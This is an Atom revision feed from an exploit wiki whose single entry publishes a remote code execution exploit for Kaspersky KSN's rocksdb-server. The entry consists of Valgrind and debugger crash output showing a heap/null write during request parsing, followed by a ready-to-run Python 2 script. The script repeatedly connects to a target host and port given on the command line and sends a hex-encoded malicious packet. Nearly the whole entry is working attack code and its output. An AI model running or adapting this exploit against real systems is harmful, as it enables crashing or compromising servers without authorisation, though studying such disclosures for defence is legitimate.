<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Kaspersky_KSN_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>Kaspersky KSN 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Kaspersky_KSN_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Kaspersky_KSN_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T06:46:49Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Kaspersky_KSN_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1524&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Author: Juan Sacco &lt;jsacco@exploitpack.com&gt; - http://exploitpack.com # Vulnerability found using Exploit Pack v10 # CVE: NotYet # # Exploit description...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Kaspersky_KSN_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1524&amp;oldid=prev"/>
		<updated>2021-04-11T02:01:50Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Author: Juan Sacco &amp;lt;jsacco@exploitpack.com&amp;gt; - http://exploitpack.com # Vulnerability found using Exploit Pack v10 # CVE: NotYet # # Exploit description...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Author: Juan Sacco &amp;lt;jsacco@exploitpack.com&amp;gt; - http://exploitpack.com&lt;br /&gt;
# Vulnerability found using Exploit Pack v10&lt;br /&gt;
# CVE: NotYet&lt;br /&gt;
#&lt;br /&gt;
# Exploit description:&lt;br /&gt;
# Kaspersky KSN is prone to a remote memory corruption because it&lt;br /&gt;
fails to properly filter the input on the remote subscribers, this&lt;br /&gt;
leads to heap segments overwrite&lt;br /&gt;
# and it leads to remote code execution.&lt;br /&gt;
#&lt;br /&gt;
#&lt;br /&gt;
# Program description:&lt;br /&gt;
# Kaspersky KSN for Linux enables cloud-assisted, multi-layered&lt;br /&gt;
security for servers and workstations running the Linux operating&lt;br /&gt;
system. It delivers reliable protection with minimal impact on&lt;br /&gt;
# performance.&lt;br /&gt;
# Product homepage: http://kaspersky.com&lt;br /&gt;
#&lt;br /&gt;
# Example usage: python kasperky.py 192.168.1.1 6349&lt;br /&gt;
#&lt;br /&gt;
# Exploit history:&lt;br /&gt;
# Discovered: Feb 2018&lt;br /&gt;
# Reported to Kaspersky: Feb 2018&lt;br /&gt;
# Fixed by Kaspersky: March 2018&lt;br /&gt;
#&lt;br /&gt;
# [!] Valgrind output:&lt;br /&gt;
#&lt;br /&gt;
# =3314== Invalid write of size 4&lt;br /&gt;
# ==3314==    at 0x24FA74:&lt;br /&gt;
RespObject::SetSimpleString(std::__cxx11::basic_string&amp;lt;char,&lt;br /&gt;
std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; const&amp;amp;) (in&lt;br /&gt;
/usr/local/ksn/bin/rocksdb-server)&lt;br /&gt;
# ==3314==    by 0x241814: RequestParser::Parse(unsigned char*,&lt;br /&gt;
unsigned long, std::function&amp;lt;void (RespObject const&amp;amp;)&amp;gt;) (in&lt;br /&gt;
/usr/local/ksn/bin/rocksdb-server)&lt;br /&gt;
# ==3314==    by 0x23B740:&lt;br /&gt;
Session&amp;lt;boost::asio::basic_stream_socket&amp;lt;boost::asio::ip::tcp,&lt;br /&gt;
boost::asio::stream_socket_service&amp;lt;boost::asio::ip::tcp&amp;gt; &amp;gt;&lt;br /&gt;
&amp;gt;::HandleRead(boost::system::error_code const&amp;amp;, unsigned long) (in&lt;br /&gt;
/usr/local/ksn/bin/rocksdb-server)&lt;br /&gt;
# ==3314==    by 0x22FF56:&lt;br /&gt;
boost::asio::detail::reactive_socket_recv_op&amp;lt;boost::asio::mutable_buffers_1,&lt;br /&gt;
boost::_bi::bind_t&amp;lt;void, boost::_mfi::mf2&amp;lt;void,&lt;br /&gt;
Session&amp;lt;boost::asio::basic_stream_socket&amp;lt;boost::asio::ip::tcp,&lt;br /&gt;
boost::asio::stream_socket_service&amp;lt;boost::asio::ip::tcp&amp;gt; &amp;gt; &amp;gt;,&lt;br /&gt;
boost::system::error_code const&amp;amp;, unsigned long&amp;gt;,&lt;br /&gt;
boost::_bi::list3&amp;lt;boost::_bi::value&amp;lt;Session&amp;lt;boost::asio::basic_stream_socket&amp;lt;boost::asio::ip::tcp,&lt;br /&gt;
boost::asio::stream_socket_service&amp;lt;boost::asio::ip::tcp&amp;gt; &amp;gt; &amp;gt;*&amp;gt;,&lt;br /&gt;
boost::arg&amp;lt;1&amp;gt; (*)(), boost::arg&amp;lt;2&amp;gt; (*)()&amp;gt; &amp;gt;&lt;br /&gt;
&amp;gt;::do_complete(boost::asio::detail::task_io_service*,&lt;br /&gt;
boost::asio::detail::task_io_service_operation*,&lt;br /&gt;
boost::system::error_code const&amp;amp;, unsigned long) (in&lt;br /&gt;
/usr/local/ksn/bin/rocksdb-server)&lt;br /&gt;
# ==3314==    by 0x23647C:&lt;br /&gt;
boost::asio::detail::task_io_service::run(boost::system::error_code&amp;amp;)&lt;br /&gt;
(in /usr/local/ksn/bin/rocksdb-server)&lt;br /&gt;
# ==3314==    by 0x1E978A: main (in /usr/local/ksn/bin/rocksdb-server)&lt;br /&gt;
# ==3314==  Address 0x0 is not stack'd, malloc'd or (recently) free'd&lt;br /&gt;
# ==3314==&lt;br /&gt;
# ==3314==&lt;br /&gt;
# ==3314== Process terminating with default action of signal 11&lt;br /&gt;
(SIGSEGV): dumping core&lt;br /&gt;
# ==3314==  Access not within mapped region at address 0x0&lt;br /&gt;
# ==3314==    at 0x24FA74:&lt;br /&gt;
RespObject::SetSimpleString(std::__cxx11::basic_string&amp;lt;char,&lt;br /&gt;
std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; const&amp;amp;) (in&lt;br /&gt;
/usr/local/ksn/bin/rocksdb-server)&lt;br /&gt;
# ==3314==    by 0x241814: RequestParser::Parse(unsigned char*,&lt;br /&gt;
unsigned long, std::function&amp;lt;void (RespObject const&amp;amp;)&amp;gt;) (in&lt;br /&gt;
/usr/local/ksn/bin/rocksdb-server)&lt;br /&gt;
# ==3314==    by 0x23B740:&lt;br /&gt;
Session&amp;lt;boost::asio::basic_stream_socket&amp;lt;boost::asio::ip::tcp,&lt;br /&gt;
boost::asio::stream_socket_service&amp;lt;boost::asio::ip::tcp&amp;gt; &amp;gt;&lt;br /&gt;
&amp;gt;::HandleRead(boost::system::error_code const&amp;amp;, unsigned long) (in&lt;br /&gt;
/usr/local/ksn/bin/rocksdb-server)&lt;br /&gt;
# ==3314==    by 0x22FF56:&lt;br /&gt;
boost::asio::detail::reactive_socket_recv_op&amp;lt;boost::asio::mutable_buffers_1,&lt;br /&gt;
boost::_bi::bind_t&amp;lt;void, boost::_mfi::mf2&amp;lt;void,&lt;br /&gt;
Session&amp;lt;boost::asio::basic_stream_socket&amp;lt;boost::asio::ip::tcp,&lt;br /&gt;
boost::asio::stream_socket_service&amp;lt;boost::asio::ip::tcp&amp;gt; &amp;gt; &amp;gt;,&lt;br /&gt;
boost::system::error_code const&amp;amp;, unsigned long&amp;gt;,&lt;br /&gt;
boost::_bi::list3&amp;lt;boost::_bi::value&amp;lt;Session&amp;lt;boost::asio::basic_stream_socket&amp;lt;boost::asio::ip::tcp,&lt;br /&gt;
boost::asio::stream_socket_service&amp;lt;boost::asio::ip::tcp&amp;gt; &amp;gt; &amp;gt;*&amp;gt;,&lt;br /&gt;
boost::arg&amp;lt;1&amp;gt; (*)(), boost::arg&amp;lt;2&amp;gt; (*)()&amp;gt; &amp;gt;&lt;br /&gt;
&amp;gt;::do_complete(boost::asio::detail::task_io_service*,&lt;br /&gt;
boost::asio::detail::task_io_service_operation*,&lt;br /&gt;
boost::system::error_code const&amp;amp;, unsigned long) (in&lt;br /&gt;
/usr/local/ksn/bin/rocksdb-server)&lt;br /&gt;
# ==3314==    by 0x23647C:&lt;br /&gt;
boost::asio::detail::task_io_service::run(boost::system::error_code&amp;amp;)&lt;br /&gt;
(in /usr/local/ksn/bin/rocksdb-server)&lt;br /&gt;
# ==3314==    by 0x1E978A: main (in /usr/local/ksn/bin/rocksdb-server)&lt;br /&gt;
# ==3314==  If you believe this happened as a result of a stack&lt;br /&gt;
# ==3314==  overflow in your program's main thread (unlikely but&lt;br /&gt;
# ==3314==  possible), you can try to increase the size of the&lt;br /&gt;
# ==3314==  main thread stack using the --main-stacksize= flag.&lt;br /&gt;
# ==3314==  The main thread stack size used in this run was 8388608.&lt;br /&gt;
# ==3314==&lt;br /&gt;
# ==3314== HEAP SUMMARY:&lt;br /&gt;
# ==3314==     in use at exit: 769,426 bytes in 7,522 blocks&lt;br /&gt;
# ==3314==   total heap usage: 15,342 allocs, 7,820 frees, 1,354,534&lt;br /&gt;
bytes allocated&lt;br /&gt;
# ==3314==&lt;br /&gt;
# ==3314== LEAK SUMMARY:&lt;br /&gt;
# ==3314==    definitely lost: 8 bytes in 1 blocks&lt;br /&gt;
# ==3314==    indirectly lost: 0 bytes in 0 blocks&lt;br /&gt;
# ==3314==      possibly lost: 5,328 bytes in 9 blocks&lt;br /&gt;
# ==3314==    still reachable: 764,090 bytes in 7,512 blocks&lt;br /&gt;
# ==3314==                       of which reachable via heuristic:&lt;br /&gt;
# ==3314==                         newarray           : 8,264 bytes in 4 blocks&lt;br /&gt;
# ==3314==         suppressed: 0 bytes in 0 blocks&lt;br /&gt;
#&lt;br /&gt;
# [!] Debugger output:&lt;br /&gt;
#&lt;br /&gt;
# [----------------------------------registers-----------------------------------]&lt;br /&gt;
# RAX: 0x7ffe127426f0 --&amp;gt; 0x7ffe12742800 --&amp;gt; 0x7f7ee28fb1c0 --&amp;gt;&lt;br /&gt;
0x7f7ee1d4f090 --&amp;gt; 0x7f7ee1894760&lt;br /&gt;
(&amp;lt;_ZN5boost4asio6detail15task_io_serviceD2Ev&amp;gt;:  push   r13)&lt;br /&gt;
# RBX: 0x0&lt;br /&gt;
# RCX: 0x7f7ee2913000 --&amp;gt; 0x0&lt;br /&gt;
# RDX: 0xffffffffffdf6bf0&lt;br /&gt;
# RSI: 0x7ffe127426e0 --&amp;gt; 0x7ffe127426f0 --&amp;gt; 0x7ffe12742800 --&amp;gt;&lt;br /&gt;
0x7f7ee28fb1c0 --&amp;gt; 0x7f7ee1d4f090 --&amp;gt; 0x7f7ee1894760&lt;br /&gt;
(&amp;lt;_ZN5boost4asio6detail15task_io_serviceD2Ev&amp;gt;:       push   r13)&lt;br /&gt;
# RDI: 0x0&lt;br /&gt;
# RBP: 0x7f7ee28f5338 --&amp;gt; 0x81&lt;br /&gt;
# RSP: 0x7ffe127425c0 --&amp;gt; 0x7f7ee2924198 --&amp;gt; 0x7f7ee28f5320 --&amp;gt; 0x5&lt;br /&gt;
# RIP: 0x7f7ee18b3a74&lt;br /&gt;
(&amp;lt;_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+4&amp;gt;:&lt;br /&gt;
      mov    DWORD PTR [rdi],0x1)&lt;br /&gt;
# R8 : 0x0&lt;br /&gt;
# R9 : 0x7&lt;br /&gt;
# R10: 0x2&lt;br /&gt;
# R11: 0x7f7ee00276d0 --&amp;gt; 0xfffcdfc0fffcd800&lt;br /&gt;
# R12: 0x29b&lt;br /&gt;
# R13: 0x0&lt;br /&gt;
# R14: 0x7ffe127426e0 --&amp;gt; 0x7ffe127426f0 --&amp;gt; 0x7ffe12742800 --&amp;gt;&lt;br /&gt;
0x7f7ee28fb1c0 --&amp;gt; 0x7f7ee1d4f090 --&amp;gt; 0x7f7ee1894760&lt;br /&gt;
(&amp;lt;_ZN5boost4asio6detail15task_io_serviceD2Ev&amp;gt;:       push   r13)&lt;br /&gt;
# R15: 0x7f7ee2924562 --&amp;gt; 0x543ffb3c7ef1cd2b&lt;br /&gt;
# EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT&lt;br /&gt;
direction overflow)&lt;br /&gt;
# [-------------------------------------code-------------------------------------]&lt;br /&gt;
#    0x7f7ee18b3a6e:      xchg   ax,ax&lt;br /&gt;
#    0x7f7ee18b3a70&lt;br /&gt;
&amp;lt;_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE&amp;gt;:&lt;br /&gt;
   push   rbx&lt;br /&gt;
#    0x7f7ee18b3a71&lt;br /&gt;
&amp;lt;_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+1&amp;gt;:&lt;br /&gt;
 mov    rbx,rdi&lt;br /&gt;
# =&amp;gt; 0x7f7ee18b3a74&lt;br /&gt;
&amp;lt;_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+4&amp;gt;:&lt;br /&gt;
 mov    DWORD PTR [rdi],0x1&lt;br /&gt;
#    0x7f7ee18b3a7a&lt;br /&gt;
&amp;lt;_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+10&amp;gt;:&lt;br /&gt;
lea    rdi,[rdi+0x10]&lt;br /&gt;
#    0x7f7ee18b3a7e&lt;br /&gt;
&amp;lt;_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+14&amp;gt;:&lt;br /&gt;
call   0x7f7ee184a8a0&lt;br /&gt;
&amp;lt;_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_assignERKS4_@plt&amp;gt;&lt;br /&gt;
#    0x7f7ee18b3a83&lt;br /&gt;
&amp;lt;_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+19&amp;gt;:&lt;br /&gt;
mov    BYTE PTR [rbx+0x4],0x0&lt;br /&gt;
#    0x7f7ee18b3a87&lt;br /&gt;
&amp;lt;_ZN10RespObject15SetSimpleStringERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+23&amp;gt;:&lt;br /&gt;
pop    rbx&lt;br /&gt;
# [------------------------------------stack-------------------------------------]&lt;br /&gt;
# 0000| 0x7ffe127425c0 --&amp;gt; 0x7f7ee2924198 --&amp;gt; 0x7f7ee28f5320 --&amp;gt; 0x5&lt;br /&gt;
# 0008| 0x7ffe127425c8 --&amp;gt; 0x7f7ee18a5815&lt;br /&gt;
(&amp;lt;_ZN13RequestParser5ParseEPhmSt8functionIFvRK10RespObjectEE+3317&amp;gt;:&lt;br /&gt;
 mov    rdi,QWORD PTR [rsp+0x110])&lt;br /&gt;
# 0016| 0x7ffe127425d0 --&amp;gt; 0x7f7ee2901c08 --&amp;gt; 0x5a849d1562a512bd&lt;br /&gt;
# 0024| 0x7ffe127425d8 --&amp;gt; 0x7f7ee29242c8 --&amp;gt; 0x10061030045&lt;br /&gt;
# 0032| 0x7ffe127425e0 --&amp;gt; 0x361&lt;br /&gt;
# 0040| 0x7ffe127425e8 --&amp;gt; 0x0&lt;br /&gt;
# 0048| 0x7ffe127425f0 --&amp;gt; 0x7ffe127426e0 --&amp;gt; 0x7ffe127426f0 --&amp;gt;&lt;br /&gt;
0x7ffe12742800 --&amp;gt; 0x7f7ee28fb1c0 --&amp;gt; 0x7f7ee1d4f090 (--&amp;gt; ...)&lt;br /&gt;
# 0056| 0x7ffe127425f8 --&amp;gt; 0x7ffe127426a0 --&amp;gt; 0x0&lt;br /&gt;
# [------------------------------------------------------------------------------]&lt;br /&gt;
# Legend: code, data, rodata, value&lt;br /&gt;
# Stopped reason: SIGSEGV&lt;br /&gt;
# 0x00007f7ee18b3a74 in&lt;br /&gt;
RespObject::SetSimpleString(std::__cxx11::basic_string&amp;lt;char,&lt;br /&gt;
std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; const&amp;amp;) ()&lt;br /&gt;
# gdb-peda$ where&lt;br /&gt;
# #0  0x00007f7ee18b3a74 in&lt;br /&gt;
RespObject::SetSimpleString(std::__cxx11::basic_string&amp;lt;char,&lt;br /&gt;
std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; const&amp;amp;) ()&lt;br /&gt;
# #1  0x00007f7ee18a5815 in RequestParser::Parse(unsigned char*,&lt;br /&gt;
unsigned long, std::function&amp;lt;void (RespObject const&amp;amp;)&amp;gt;) ()&lt;br /&gt;
# #2  0x00007f7ee189f741 in&lt;br /&gt;
Session&amp;lt;boost::asio::basic_stream_socket&amp;lt;boost::asio::ip::tcp,&lt;br /&gt;
boost::asio::stream_socket_service&amp;lt;boost::asio::ip::tcp&amp;gt; &amp;gt;&lt;br /&gt;
&amp;gt;::HandleRead(boost::system::error_code const&amp;amp;, unsigned long&lt;br /&gt;
&lt;br /&gt;
import binascii&lt;br /&gt;
import sys&lt;br /&gt;
import socket&lt;br /&gt;
import time&lt;br /&gt;
&lt;br /&gt;
def rocksDB(target,port):&lt;br /&gt;
    try:&lt;br /&gt;
        while 1:&lt;br /&gt;
            # Open socket&lt;br /&gt;
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
            # Set reuse ON&lt;br /&gt;
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
            # Bind port&lt;br /&gt;
            s.connect((target, port))&lt;br /&gt;
            print(&amp;quot;[&amp;quot; + time.strftime('%a %H:%M:%S') + &amp;quot;]&amp;quot; + &amp;quot; - &amp;quot; +&lt;br /&gt;
&amp;quot;Connected to:&amp;quot;), target, port&lt;br /&gt;
            print(&amp;quot;[&amp;quot; + time.strftime('%a %H:%M:%S') + &amp;quot;]&amp;quot; + &amp;quot; - &amp;quot; +&lt;br /&gt;
&amp;quot;Establishing connection.. &amp;quot;)&lt;br /&gt;
            packet =&lt;br /&gt;
binascii.unhexlify(b'4500036100010000400679947f0000017f000001001419100000000000000000500220009e1700005ce528736b32895950f96218411ca66c9b0842c995eacbfc3eacd8187d3aa8488e1cf1f18491606b9c400c42ec88e7399baa7c3b0bca43de853c74d2fbb2c08c9868ad9688b815d6e5a913937ff05217e18ff28d379fa6985204f7f529990a675d2fc70e1a7dbca8334e4faf30ea31cb33f0c1fabbfc92fbaf20d7e63cfe65ee95711a80a406c26b6e60335d74a02b42a454bc6bbcf5153cb20b77c9686b2fff994b224a3dc5fcbd12a562159d845a8b039abf971bb7c79fe74ca7055560c9c513377881b7a033eb797738fc119758f4c6ea1a960cab1299f5b1a6e99e0be889d8bdf05edc7ca6f14a48d35a5f747887e2330a5cc8b722257ecf32987ad1e24aa56c4685fdae028ca7689bdb66b3d951b8021a34a04114f4208c3f9a6d66bcb7cbeec80a716d69375a88202f3cac2562c9595095c61e693080edd5a3318084d974a2130d5cfe439903d6d5b9b3b553143831c6e01f286da4a2339c91cfce00fe17d7584153ab93e723ce2e859d7aaa9f9574af2dbb4ca4d9f8c8f39f4e89a790e5e4e74bbfd44a721594362f1c71cc48721014f451b837aff64624ea8fbc767c50ada655f23c87195b49b854c3e0d69f1585b663a02ad33cfdfd78c43e3531d6802b7271b7518ded3d93338084ca0e7982dc7c76d82c1b0fed91e5dc567262f46e3bd71b66f9d8283784d666a2be99e397a4abe9495168c880d7f371b87f44b38e61d836ccad8afc8c99518fa1240ab5a2a0685a9d450f4b44fefcc6b64ce8f6ec836922670b31ebf62ea5933e272a62ac8ff2c79d8f15a1220a37e5535ec0998aaf8af2f9d0a0f75e96fad8e8b1ae0e2fff70d831c501048644f700527d61d1f6cb177948e0ebea8d4a01fa9c7ca2c4b3472bcdf17e3cfb3f54fb791a43f114514b6821390d2c16e23ff9ffb0b0caa508b2952b0a497a24ce0d8ad05734111034a71d57a624855b95594b7f158903f03c02213c8de27644a2026de0c7477f1550f9f39450718ddf185eb9c5f9fc7b545c838970c4f7e87b69c570a873d8f64fe08ed23c7b8275f8bf54f080508bb244fbf3dc852968bd8a63a8787c8e496508c597ae9f617bfb096bebf94cbb736a6438163f61479816da9d88e2a3ea6b50a828d9c2c6f51f34e29f4fe588a41e5e3a53515d474a5a52b357')&lt;br /&gt;
            # Log the packet in hexa and timestamp&lt;br /&gt;
            fileLog = target + &amp;quot;.log&amp;quot;&lt;br /&gt;
            logPacket = open(&amp;quot;exploit.log&amp;quot;, &amp;quot;w+&amp;quot;)&lt;br /&gt;
            logPacket.write(&amp;quot;[&amp;quot;+time.strftime('%a %H:%M:%S')+&amp;quot;]&amp;quot;+ &amp;quot; -&lt;br /&gt;
Writing to socket: &amp;quot; + binascii.hexlify(bytes(packet))+&amp;quot;\n&amp;quot;)&lt;br /&gt;
            logPacket.close()&lt;br /&gt;
&lt;br /&gt;
            # Write bytecodes to socket&lt;br /&gt;
            print(&amp;quot;[&amp;quot;+time.strftime('%a %H:%M:%S')+&amp;quot;]&amp;quot;+&amp;quot; - &amp;quot;+&amp;quot;Writing&lt;br /&gt;
to socket: &amp;quot;)&lt;br /&gt;
            s.send(bytes(packet))&lt;br /&gt;
            # Packet sent:&lt;br /&gt;
            print(bytes(packet))&lt;br /&gt;
            try:&lt;br /&gt;
                data = s.recv(4096)&lt;br /&gt;
                print(&amp;quot;[&amp;quot; + time.strftime('%a %H:%M:%S') + &amp;quot;]&amp;quot; + &amp;quot; -&lt;br /&gt;
&amp;quot;+ &amp;quot;Data received: '{msg}'&amp;quot;.format(msg=data))&lt;br /&gt;
            except socket.error, e:&lt;br /&gt;
                print '[!] Sorry, No data available'&lt;br /&gt;
                continue&lt;br /&gt;
        s.close()&lt;br /&gt;
    except socket.error as error:&lt;br /&gt;
        print error&lt;br /&gt;
        print &amp;quot;Sorry, something went wrong!&amp;quot;&lt;br /&gt;
&lt;br /&gt;
def howtouse():&lt;br /&gt;
    print &amp;quot;Usage: kaspersky.py hostname port&amp;quot;&lt;br /&gt;
    print &amp;quot;[*] Mandatory arguments:&amp;quot;&lt;br /&gt;
    print &amp;quot;[-] Specify a hostname / port&amp;quot;&lt;br /&gt;
    sys.exit(-1)&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    try:&lt;br /&gt;
        # Set target&lt;br /&gt;
        target = sys.argv[1]&lt;br /&gt;
        port = int(sys.argv[2])&lt;br /&gt;
&lt;br /&gt;
        print &amp;quot;[*] Kaspersky KSN RCE Exploit by Juan Sacco&lt;br /&gt;
&amp;lt;jsacco@exploitpack.com &amp;quot;&lt;br /&gt;
        rocksDB(target, port)&lt;br /&gt;
    except IndexError:&lt;br /&gt;
        howtouse()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>